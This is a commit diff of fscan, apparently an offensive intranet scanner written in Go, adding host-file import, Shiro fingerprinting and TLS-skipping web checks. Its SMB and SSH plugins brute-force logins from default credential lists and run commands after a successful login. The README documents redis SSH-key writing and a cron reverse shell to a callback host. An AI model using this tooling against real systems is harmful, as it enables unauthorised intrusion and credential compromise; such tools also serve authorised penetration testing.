AddScan(scan_port, info, ch, &wg) AddScan(scan_port, info, ch, &wg)
} else { } else {
if !IsContain(severports1, scan_port) { if !IsContain(severports1, scan_port) {
info.Url = fmt.Sprintf("http://%s",targetIP) info.Ports = scan_port
wg.Add(1) AddScan("1000003", info, ch, &wg) //webtitle
go WebTitle(info,ch,&wg) //go scan_func(PluginList,"WebTitle",info,ch,&wg)
ch <- 1
} }
} }
if scan_port == "445"{ if scan_port == "445" { //scan more vul
AddScan("1000001", info, ch, &wg) AddScan("1000001", info, ch, &wg)
AddScan("1000002", info, ch, &wg) AddScan("1000002", info, ch, &wg)
} }
} else { } else {
port,_:=common.PORTList[info.Scantype] port, _ := common.PORTList_bak[info.Scantype]
scantype = strconv.Itoa(port) scantype = strconv.Itoa(port)
AddScan(scantype, info, ch, &wg) AddScan(scantype, info, ch, &wg)
//wg.Add(1)
//go scan_func(PluginList,scantype,info,ch,&wg)
//ch <- 1
} }
} }
wg.Wait() wg.Wait()
} }
func AddScan(scantype string,info *common.HostInfo,ch chan int,wg *sync.WaitGroup) { func AddScan(scantype string, info common.HostInfo, ch chan int, wg *sync.WaitGroup) {
wg.Add(1) wg.Add(1)
go scan_func(PluginList,scantype,info,ch,wg) if info.Scantype == "webtitle" {
scantype = "1000003"
}
go scan_func(PluginList, scantype, &info, ch, wg)
ch <- 1 ch <- 1
} }
+3 -9
View File
@@ -1,24 +1,22 @@
package Plugins package Plugins
import ( import (
"../common" "context"
"fmt" "fmt"
"github.com/shadow1ng/fscan/common"
"github.com/stacktitan/smb/smb" "github.com/stacktitan/smb/smb"
"strings" "strings"
"sync" "sync"
"time" "time"
"context"
) )
func SmbScan(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) { func SmbScan(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) {
Loop: Loop:
for _, user := range common.Userdict["smb"] { for _, user := range common.Userdict["smb"] {
for _, pass := range common.Passwords { for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", string(user), -1) pass = strings.Replace(pass, "{user}", string(user), -1)
//fmt.Println(user,pass)
//flag,err := SmblConn(info,user,pass)
flag, err := doWithTimeOut(info, user, pass) flag, err := doWithTimeOut(info, user, pass)
//fmt.Println(user,pass,flag,err)
if flag == true && err == nil { if flag == true && err == nil {
break Loop break Loop
} }
@@ -39,12 +37,9 @@ func SmblConn(info *common.HostInfo,user string,pass string)(flag bool,err error
Password: Password, Password: Password,
Domain: "", Domain: "",
Workstation: "", Workstation: "",
Timeout: info.Timeout,
} }
session, err := smb.NewSession(options, false) session, err := smb.NewSession(options, false)
//fmt.Println(err)
if err == nil { if err == nil {
defer session.Close() defer session.Close()
if session.IsAuthenticated { if session.IsAuthenticated {
@@ -58,7 +53,6 @@ func SmblConn(info *common.HostInfo,user string,pass string)(flag bool,err error
func doWithTimeOut(info *common.HostInfo, user string, pass string) (flag bool, err error) { func doWithTimeOut(info *common.HostInfo, user string, pass string) (flag bool, err error) {
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(info.Timeout)*time.Second) ctx, cancel := context.WithTimeout(context.Background(), time.Duration(info.Timeout)*time.Second)
//ctx,cancel := context.WithTimeout(context.Background(),1*time.Second)
defer cancel() defer cancel()
signal := make(chan int, 1) signal := make(chan int, 1)
go func() { go func() {
+6 -13
View File
@@ -1,27 +1,21 @@
package Plugins package Plugins
import ( import (
"../common"
"fmt" "fmt"
"github.com/shadow1ng/fscan/common"
"golang.org/x/crypto/ssh" "golang.org/x/crypto/ssh"
"net" "net"
"strings" "strings"
"sync" "sync"
"time" "time"
) )
func SshScan(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) { func SshScan(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) {
//SshConn(info,"oracle","oracle",ch,wg)
Loop: Loop:
for _, user := range common.Userdict["ssh"] { for _, user := range common.Userdict["ssh"] {
for _, pass := range common.Passwords { for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", string(user), -1) pass = strings.Replace(pass, "{user}", user, -1)
//wg.Add(1) flag, err := SshConn(info, user, pass)
//var good bool
//go SshConn(info,user,pass,ch,wg)
//if good == true{
// break Loop
//}
flag,err := SshConn(info,user,pass,ch,wg)
if flag == true && err == nil { if flag == true && err == nil {
break Loop break Loop
} }
@@ -31,10 +25,9 @@ Loop:
<-ch <-ch
} }
func SshConn(info *common.HostInfo,user string,pass string,ch chan int,wg *sync.WaitGroup)(flag bool,err error){ func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false flag = false
Host, Port, Username, Password := info.Host, common.PORTList["ssh"], user, pass Host, Port, Username, Password := info.Host, common.PORTList["ssh"], user, pass
//fmt.Println(Host,Port,Username,Password)
config := &ssh.ClientConfig{ config := &ssh.ClientConfig{
User: Username, User: Username,
Auth: []ssh.AuthMethod{ Auth: []ssh.AuthMethod{
@@ -50,7 +43,7 @@ func SshConn(info *common.HostInfo,user string,pass string,ch chan int,wg *sync.
if err == nil { if err == nil {
defer client.Close() defer client.Close()
session, err := client.NewSession() session, err := client.NewSession()
if err == nil { //if err == nil && errRet == nil { if err == nil {
defer session.Close() defer session.Close()
flag = true flag = true
if info.Command != "" { if info.Command != "" {
+24 -38
View File
@@ -1,27 +1,43 @@
package Plugins package Plugins
import ( import (
"../common" "crypto/tls"
"fmt" "fmt"
"github.com/shadow1ng/fscan/WebScan"
"io/ioutil" "io/ioutil"
"net/http" "net/http"
"regexp" "regexp"
"strings"
"sync" "sync"
"time" "time"
"github.com/shadow1ng/fscan/common"
) )
func WebTitle(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) (err error, result string) { func WebTitle(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) (err error, result string) {
info.Url = fmt.Sprintf("http://%s:%s", info.Host, info.Ports)
err, result = geturl(info) err, result = geturl(info)
if err == nil{
WebScan.WebScan(info)
}
info.Url = fmt.Sprintf("https://%s:%s", info.Host, info.Ports)
err, result = geturl(info)
if err == nil{
WebScan.WebScan(info)
}
wg.Done() wg.Done()
<-ch <-ch
return err, result return err, result
} }
func geturl(info *common.HostInfo) (err error, result string) { func geturl(info *common.HostInfo) (err error, result string) {
url := info.Url url := info.Url
var client = &http.Client{Timeout:time.Duration(info.Timeout)*time.Second } info.Timeout = 20
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
var client = &http.Client{Timeout: time.Duration(info.WebTimeout) * time.Second, Transport: tr}
res, err := http.NewRequest("GET", url, nil) res, err := http.NewRequest("GET", url, nil)
if err == nil { if err == nil {
res.Header.Add("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36") res.Header.Add("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
@@ -36,49 +52,19 @@ func geturl(info *common.HostInfo) (err error, result string) {
body, _ := ioutil.ReadAll(resp.Body) body, _ := ioutil.ReadAll(resp.Body)
re := regexp.MustCompile("<title>(.*)</title>") re := regexp.MustCompile("<title>(.*)</title>")
find := re.FindAllStringSubmatch(string(body), -1) find := re.FindAllStringSubmatch(string(body), -1)
if len(find) > 1{ if len(find) > 0 {
title = find[0][1] title = find[0][1]
} else { } else {
title = "None" title = "None"
} }
if len(title) > 20{ if len(title) > 50 {
title = title[:20] title = title[:50]
} }
if resp.StatusCode == 400 && string(url[5]) != "https"{
info.Url = strings.Replace(url, "http://", "https://", 1)
return geturl(info)
}else {
result = fmt.Sprintf("WebTitle:%v %v %v", url, resp.StatusCode, title) result = fmt.Sprintf("WebTitle:%v %v %v", url, resp.StatusCode, title)
common.LogSuccess(result) common.LogSuccess(result)
}
return err, result return err, result
} }
return err, ""
} }
return err, "" return err, ""
//fmt.Print("\n")
} }
//var client = &http.Client{
// Transport:&http.Transport{
// DialContext:(&net.Dialer{
// Timeout:time.Duration(info.Timeout)*time.Second,
// }).DialContext,
// },
// CheckRedirect:func(req *http.Request, via []*http.Request) error{
// return http.ErrUseLastResponse
// },
//}
//if info.Cookie!=""{
// res.Header.Add("Cookie",info.Cookie)
//}
//if info.Header!=""{
// var header = make(map[string]string)
// err:=json.Unmarshal([]byte(info.Header),&header)
// if err!=nil{
// Misc.CheckErr(err)
// }
// for k,v:=range header{
// res.Header.Add(k,v)
// }
//}
+26 -5
View File
@@ -13,6 +13,10 @@
答: 答:
因为用习惯了f-scrack,习惯一条命令跑完所有模块,省去一个个模块单独调用的时间,当然我附加了-m 指定模块的功能。 因为用习惯了f-scrack,习惯一条命令跑完所有模块,省去一个个模块单独调用的时间,当然我附加了-m 指定模块的功能。
## 最近更新
[+] 2020/11/17 增加WebScan模块,新增shiro简单识别。https访问时,跳过证书认证。将服务模块和web模块的超时分开,增加-wt 参数(WebTimeout)。
[+] 2020/11/16 对icmp模块进行优化,增加-it 参数(IcmpThreads),默认11000,适合扫B段
[+] 2020/11/15 支持ip以文件导入,-hs ip.txt,并对去重做了处理
## usege ## usege
简单用法 简单用法
@@ -25,6 +29,13 @@ fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口) fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块) fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
``` ```
```
-h 192.168.1.1/24 (C段)
-h 192.168.1.1/16 (B段)
-h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
-hf ip.txt (以文件导入)
```
完整参数 完整参数
``` ```
@@ -32,6 +43,10 @@ fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
exec command (ssh) exec command (ssh)
-h string -h string
IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12 IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
-hf string
host file, -hs ip.txt
-it int
Icmp Threads nums (default 3000)
-m string -m string
Select scan type ,as: -m ssh (default "all") Select scan type ,as: -m ssh (default "all")
-no -no
@@ -51,29 +66,35 @@ fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
-rs string -rs string
redis shell to write cron file (as: -rs 192.168.1.1:6666) redis shell to write cron file (as: -rs 192.168.1.1:6666)
-t int -t int
Thread nums (default 100) Thread nums (default 200)
-time int -time int
Set timeout (default 3) Set timeout (default 3)
-user string -user string
username username
-userf string -userf string
username file username file
``` ```
## 运行截图
`fscan.exe -h 192.168.x.x` `fscan.exe -h 192.168.x.x (全功能、ms17010、读取网卡信息)`
![](image/1.png) ![](image/1.png)
![](image/4.png)
`fscan.exe -h 192.168.x.x -rf id_rsa.pub (redis 写私钥)` `fscan.exe -h 192.168.x.x -rf id_rsa.pub (redis 写私钥)`
![](image/2.png) ![](image/2.png)
`fscan.exe -h 192.168.x.x -c "whoami;id" (ssh 命令)` `fscan.exe -h 192.168.x.x -c "whoami;id" (ssh 命令)`
![](image/3.png) ![](image/3.png)
`fscan.exe -h 192.168.x.x (ms17010、读取网卡信息)` ## 未来计划
![](image/4.png) [*] 合理输出当前扫描进度
[*] 增加内网常见高危漏洞
[*] 增加高危web漏洞扫描
[*] 师傅们觉得有必要加的漏洞,也可以提issue
## 参考链接 ## 参考链接
+9
View File
@@ -0,0 +1,9 @@
package WebScan
import (
"github.com/shadow1ng/fscan/common"
)
func WebScan(info *common.HostInfo) {
Shiro(info)
}
+44
View File
@@ -0,0 +1,44 @@
package WebScan
import (
"crypto/tls"
"fmt"
"github.com/shadow1ng/fscan/common"
"net/http"
"strings"
"time"
)
func Shiro(info *common.HostInfo) (err error, result string) {
url := info.Url
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
var client = &http.Client{Timeout: time.Duration(info.WebTimeout) * time.Second, Transport: tr}
res, err := http.NewRequest("GET", url, nil)
if err == nil {
res.Header.Add("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
res.Header.Add("Accept", "*/*")
res.Header.Add("Cookie", "rememberMe=1")
res.Header.Add("Accept-Language", "zh-CN,zh;q=0.9")
res.Header.Add("Accept-Encoding", "gzip, deflate")
res.Header.Add("Connection", "close")
resp, err := client.Do(res)
if err == nil {
defer resp.Body.Close()
for _,a := range resp.Header{
if len(a) >1{
for _,b :=range a{
if strings.Contains(b,"rememberMe"){
result = fmt.Sprintf("%v is shiro",url)
common.LogSuccess(result)
return err, result
}
}
}
}
}
}
return err, ""
}
+10 -2
View File
@@ -74,7 +74,7 @@ func Readfile(filename string)([]string,error){
file, err := os.Open(filename) file, err := os.Open(filename)
if err!=nil{ if err!=nil{
fmt.Println("Open %s error, %v", filename,err) fmt.Println("Open %s error, %v", filename,err)
return nil,err os.Exit(0)
} }
defer file.Close() defer file.Close()
var content []string var content []string
@@ -92,7 +92,7 @@ func Readfile(filename string)([]string,error){
func ParseInput(Info *HostInfo){ func ParseInput(Info *HostInfo){
if Info.Host==""{ if Info.Host=="" && Info.HostFile ==""{
fmt.Println("Host is none") fmt.Println("Host is none")
flag.Usage() flag.Usage()
os.Exit(0) os.Exit(0)
@@ -124,3 +124,11 @@ func ParseScantype(Info *HostInfo){
} }
} }
} }
func CheckErr(text string,err error){
if err!=nil{
fmt.Println(text,err.Error())
os.Exit(0)
}
}
+74 -6
View File
@@ -1,21 +1,57 @@
package common package common
import ( import (
"bufio"
"errors" "errors"
"fmt"
"net" "net"
"os"
"regexp" "regexp"
"strconv" "strconv"
"strings" "strings"
) )
var ParseIPErr error =errors.New("host parsing error\n" + var ParseIPErr =errors.New("host parsing error\n" +
"format: \n"+ "format: \n"+
"192.168.1.1/24\n"+
"192.168.1.1\n" + "192.168.1.1\n" +
"192.168.1.1/8\n"+
"192.168.1.1/16\n"+
"192.168.1.1/24\n"+
"192.168.1.1,192.168.1.2\n" + "192.168.1.1,192.168.1.2\n" +
"192.168.1.1-255") "192.168.1.1-255")
func ParseIP(ip string)([]string,error){ func ParseIP(ip string,filename string)(hosts []string,err error){
if ip != ""{
hosts,err = ParseIPs(ip)
}
if filename != ""{
var filehost []string
filehost,_ = Readipfile(filename)
hosts = append(hosts,filehost...)
}
hosts = RemoveDuplicate(hosts)
return hosts,err
}
func ParseIPs(ip string)(hosts []string,err error){
if strings.Contains(ip,","){
IPList:=strings.Split(ip,",")
var ips []string
for _,ip:=range IPList{
ips,err = ParseIPone(ip)
CheckErr(ip,err)
hosts = append(hosts,ips...)
}
return hosts,err
}else {
hosts,err = ParseIPone(ip)
CheckErr(ip,err)
return hosts,err
}
}
func ParseIPone(ip string)([]string,error){
reg:=regexp.MustCompile(`[a-zA-Z]+`) reg:=regexp.MustCompile(`[a-zA-Z]+`)
switch { switch {
case strings.Contains(ip[len(ip)-3:len(ip)],"/24"): case strings.Contains(ip[len(ip)-3:len(ip)],"/24"):
@@ -24,8 +60,6 @@ func ParseIP(ip string)([]string,error){
return ParseIPD(ip) return ParseIPD(ip)
case strings.Contains(ip[len(ip)-2:len(ip)],"/8"): case strings.Contains(ip[len(ip)-2:len(ip)],"/8"):
return ParseIPE(ip) return ParseIPE(ip)
case strings.Contains(ip,","):
return ParseIPB(ip)
case strings.Count(ip,"-")==1: case strings.Count(ip,"-")==1:
return ParseIPC(ip) return ParseIPC(ip)
case reg.MatchString(ip): case reg.MatchString(ip):
@@ -42,7 +76,6 @@ func ParseIP(ip string)([]string,error){
return []string{ip},nil return []string{ip},nil
} }
} }
//Parsing CIDR IP //Parsing CIDR IP
func ParseIPA(ip string)([]string,error){ func ParseIPA(ip string)([]string,error){
realIP:=ip[:len(ip)-3] realIP:=ip[:len(ip)-3]
@@ -129,3 +162,38 @@ func ParseIPE(ip string)([]string,error){
} }
return AllIP,nil return AllIP,nil
} }
func Readipfile(filename string)([]string,error){
file, err := os.Open(filename)
if err!=nil{
fmt.Println("Open %s error, %v", filename,err)
os.Exit(0)
}
defer file.Close()
var content []string
scanner := bufio.NewScanner(file)
scanner.Split(bufio.ScanLines)
for scanner.Scan() {
text := strings.TrimSpace(scanner.Text())
if text != "" {
host,err := ParseIPs(text)
CheckErr(text,err)
content=append(content,host...)
}
}
return content,nil
}
func RemoveDuplicate(old []string) ([]string) {
result := make([]string, 0, len(old))
temp := map[string]struct{}{}
for _, item := range old {
if _, ok := temp[item]; !ok {
temp[item] = struct{}{}
result = append(result, item)
}
}
return result
}
+23 -48
View File
@@ -1,5 +1,5 @@
package common package common
//fscan version 1.3
var Userdict = map[string][]string{ var Userdict = map[string][]string{
"ftp": {"www","admin","root","db","wwwroot","data","web","ftp"}, "ftp": {"www","admin","root","db","wwwroot","data","web","ftp"},
"mysql": {"root"}, "mysql": {"root"},
@@ -25,10 +25,28 @@ var PORTList = map[string]int{
"smb": 445, "smb": 445,
"ms17010": 1000001, "ms17010": 1000001,
"cve20200796":1000002, "cve20200796":1000002,
"webtitle": 1000003,
"elastic": 9200,
"findnet": 135,
"all":0,
}
var PORTList_bak = map[string]int{
"ftp": 21,
"ssh": 22,
"mem": 11211,
"mgo": 27017,
"mssql": 1433,
"psql": 5432,
"redis": 6379,
"mysql": 3306,
"smb": 445,
"ms17010": 1000001,
"cve20200796":1000002,
"webtitle": 1000003,
"elastic": 9200, "elastic": 9200,
"findnet": 135, "findnet": 135,
"all":0, "all":0,
//"wenscan": 17010,
} }
var Outputfile = "result.txt" var Outputfile = "result.txt"
@@ -39,12 +57,15 @@ var DefaultPorts = "21,22,23,80,135,443,445,1433,1521,3306,5432,6379,7001,8080,8
type HostInfo struct { type HostInfo struct {
Host string Host string
HostFile string
Ports string Ports string
Url string Url string
Timeout int64 Timeout int64
WebTimeout int64
Scantype string Scantype string
Isping bool Isping bool
Threads int Threads int
IcmpThreads int
Command string Command string
Username string Username string
Password string Password string
@@ -59,49 +80,3 @@ type HostInfo struct {
} }
//var Passwords = []string{"admin123A","123456","admin","root","password","123123","123","1","{user}","{user}{user}","{user}1","{user}123","{user}2016","{user}2015","{user}!","","P@ssw0rd!!","qwa123","12345678","test","123qwe!@#","123456789","123321","1314520","666666","woaini","fuckyou","000000","1234567890","8888888","qwerty","1qaz2wsx","abc123","abc123456","1q2w3e4r","123qwe","p@ssw0rd","p@55w0rd","password!","p@ssw0rd!","password1","r00t","tomcat","apache","system","huawei","admin123","zte"}
//const Username = "admin"
//const Password = "123456"
//const Timeout = 3 * time.Second
//const FTPPORT = 21
//const SSHPORT = 22
//const MEMCACHEDPORT = 11211
//const MONGODBPORT = 27017
//const MSSQLPORT = 1433
//const OraclePORT = 1433
//const PSQLPORT = 5432
//const REDISPORT = 6379
//const MYSQLPORT = 3306
//const SMBPORT = 445
//const POSTGRESPORT = 5432
//var Userdict = map[string][]string{
// "ftp": []string{"www","admin","root","db","wwwroot","data","web","ftp"},
// "mysql": []string{"root"},
// "mssql": []string{"root","sa"},
// "smb": []string{"administrator","guest"},
// "postgresql": []string{"postgres","admin"},
// "ssh": []string{"root","admin"},
// "mongodb": []string{"root","admin"},
// //"telnet": []string{"administrator","admin","root","cisco","huawei","zte"},
//}
//var PluginList = map[string]interface{}{
// "ftp": FtpScan,
// "mysql": MysqlScan,
// //"mongodb":MgoConn,
// "mssql":MssqlScan,
// "redis": RedisScan,
// //"smb": SmbScan,
// "ssh": SshScan,
// //"portscan": PortConn,
// //"icmp": IcmpConn,
// "postgresql": PostgresScan,
// //"urlscan":UrlConn,
// //"auth":ApacheConn,
// //"subdomain":SDConn,
// //"memcached":MemConn,
//}
+5 -2
View File
@@ -22,9 +22,11 @@ func Banner(){
func Flag(Info *HostInfo) { func Flag(Info *HostInfo) {
Banner() Banner()
flag.StringVar(&Info.Host,"h","","IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12") flag.StringVar(&Info.Host,"h","","IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12")
flag.StringVar(&Info.HostFile,"hf","","host file, -hs ip.txt")
flag.StringVar(&Info.Ports,"p",DefaultPorts,"Select a port,for example: 22 | 1-65535 | 22,80,3306") flag.StringVar(&Info.Ports,"p",DefaultPorts,"Select a port,for example: 22 | 1-65535 | 22,80,3306")
flag.StringVar(&Info.Command,"c","","exec command (ssh)") flag.StringVar(&Info.Command,"c","","exec command (ssh)")
flag.IntVar(&Info.Threads,"t",100,"Thread nums") flag.IntVar(&Info.Threads,"t",200,"Thread nums")
flag.IntVar(&Info.IcmpThreads,"it",11000,"Icmp Threads nums")
flag.BoolVar(&Info.Isping,"np",false,"not to ping") flag.BoolVar(&Info.Isping,"np",false,"not to ping")
flag.BoolVar(&Info.IsSave,"no",false,"not to save output log") flag.BoolVar(&Info.IsSave,"no",false,"not to save output log")
flag.StringVar(&Info.Username,"user","","username") flag.StringVar(&Info.Username,"user","","username")
@@ -33,8 +35,9 @@ func Flag(Info *HostInfo) {
flag.StringVar(&Info.Passfile,"pwdf","","password file") flag.StringVar(&Info.Passfile,"pwdf","","password file")
flag.StringVar(&Info.Outputfile,"o","result.txt","Outputfile") flag.StringVar(&Info.Outputfile,"o","result.txt","Outputfile")
flag.Int64Var(&Info.Timeout,"time",3,"Set timeout") flag.Int64Var(&Info.Timeout,"time",3,"Set timeout")
flag.Int64Var(&Info.WebTimeout,"wt",3,"Set web timeout")
flag.StringVar(&Info.Scantype,"m","all","Select scan type ,as: -m ssh") flag.StringVar(&Info.Scantype,"m","all","Select scan type ,as: -m ssh")
flag.StringVar(&Info.RedisFile,"rf","","redis file to write sshkey file (as: -rf id_rsa.pub) ") flag.StringVar(&Info.RedisFile,"rf","","redis file to write sshkey file (as: -rf id_rsa.pub) ")
flag.StringVar(&Info.RedisFile,"rs","","redis shell to write cron file (as: -rs 192.168.1.1:6666) ") flag.StringVar(&Info.RedisShell,"rs","","redis shell to write cron file (as: -rs 192.168.1.1:6666) ")
flag.Parse() flag.Parse()
} }
+1 -1
View File
@@ -17,7 +17,7 @@ func LogSuccess(result string){
} }
func WriteFile(result string,filename string) { func WriteFile(result string,filename string) {
var text = []byte(result+"\n") var text = []byte(result+"\n")
fl, err := os.OpenFile(filename, os.O_APPEND|os.O_CREATE, 0777) fl, err := os.OpenFile(filename, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0777)
if err != nil { if err != nil {
fmt.Println(err) fmt.Println(err)
return return
+12
View File
@@ -0,0 +1,12 @@
module github.com/shadow1ng/fscan
go 1.13
require (
github.com/denisenkom/go-mssqldb v0.9.0
github.com/go-sql-driver/mysql v1.5.0
github.com/jlaffaye/ftp v0.0.0-20201112195030-9aae4d151126
github.com/lib/pq v1.8.0
github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8
golang.org/x/crypto v0.0.0-20201116153603-4be66e5b6582
)
+27
View File
@@ -0,0 +1,27 @@
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/denisenkom/go-mssqldb v0.9.0 h1:RSohk2RsiZqLZ0zCjtfn3S4Gp4exhpBWHyQ7D0yGjAk=
github.com/denisenkom/go-mssqldb v0.9.0/go.mod h1:xbL0rPBG9cCiLr28tMa8zpbdarY27NDyej4t/EjAShU=
github.com/go-sql-driver/mysql v1.5.0 h1:ozyZYNQW3x3HtqT1jira07DN2PArx2v7/mN66gGcHOs=
github.com/go-sql-driver/mysql v1.5.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg=
github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe h1:lXe2qZdvpiX5WZkZR4hgp4KJVfY3nMkvmwbVkpv1rVY=
github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe/go.mod h1:8vg3r2VgvsThLBIFL93Qb5yWzgyZWhEmBwUJWevAkK0=
github.com/jlaffaye/ftp v0.0.0-20201112195030-9aae4d151126 h1:ly2C51IMpCCV8RpTDRXgzG/L9iZXb8ePEixaew/HwBs=
github.com/jlaffaye/ftp v0.0.0-20201112195030-9aae4d151126/go.mod h1:2lmrmq866uF2tnje75wQHzmPXhmSWUt7Gyx2vgK1RCU=
github.com/lib/pq v1.8.0 h1:9xohqzkUwzR4Ga4ivdTcawVS89YSDVxXMa3xJX3cGzg=
github.com/lib/pq v1.8.0/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8 h1:GVFkBBJAEO3CpzIYcDDBdpUObzKwVW9okNWcLYL/nnU=
github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8/go.mod h1:phLSETqH/UJsBtwDVBxSfJKwwkbJcGyy2Q/h4k+bmww=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20190325154230-a5d413f7728c/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20201116153603-4be66e5b6582 h1:0WDrJ1E7UolDk1KhTXxxw3Fc8qtk5x7dHP431KHEJls=
golang.org/x/crypto v0.0.0-20201116153603-4be66e5b6582/go.mod h1:tCqSYrHVcf3i63Co2FzBkTCo2gdF6Zak62921dSfraU=
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/term v0.0.0-20201113234701-d7a72108b828/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
+3 -3
View File
@@ -1,8 +1,8 @@
package main package main
import ( import (
"./Plugins" "github.com/shadow1ng/fscan/common"
"./common" "github.com/shadow1ng/fscan/Plugins"
"fmt" "fmt"
) )
@@ -11,7 +11,7 @@ func main() {
var Info common.HostInfo var Info common.HostInfo
common.Flag(&Info) //fmt.Println(Info.Host,Info.Ports) common.Flag(&Info) //fmt.Println(Info.Host,Info.Ports)
common.Parse(&Info) common.Parse(&Info)
Plugins.Scan(&Info) Plugins.Scan(Info)
fmt.Println("scan end") fmt.Println("scan end")
} }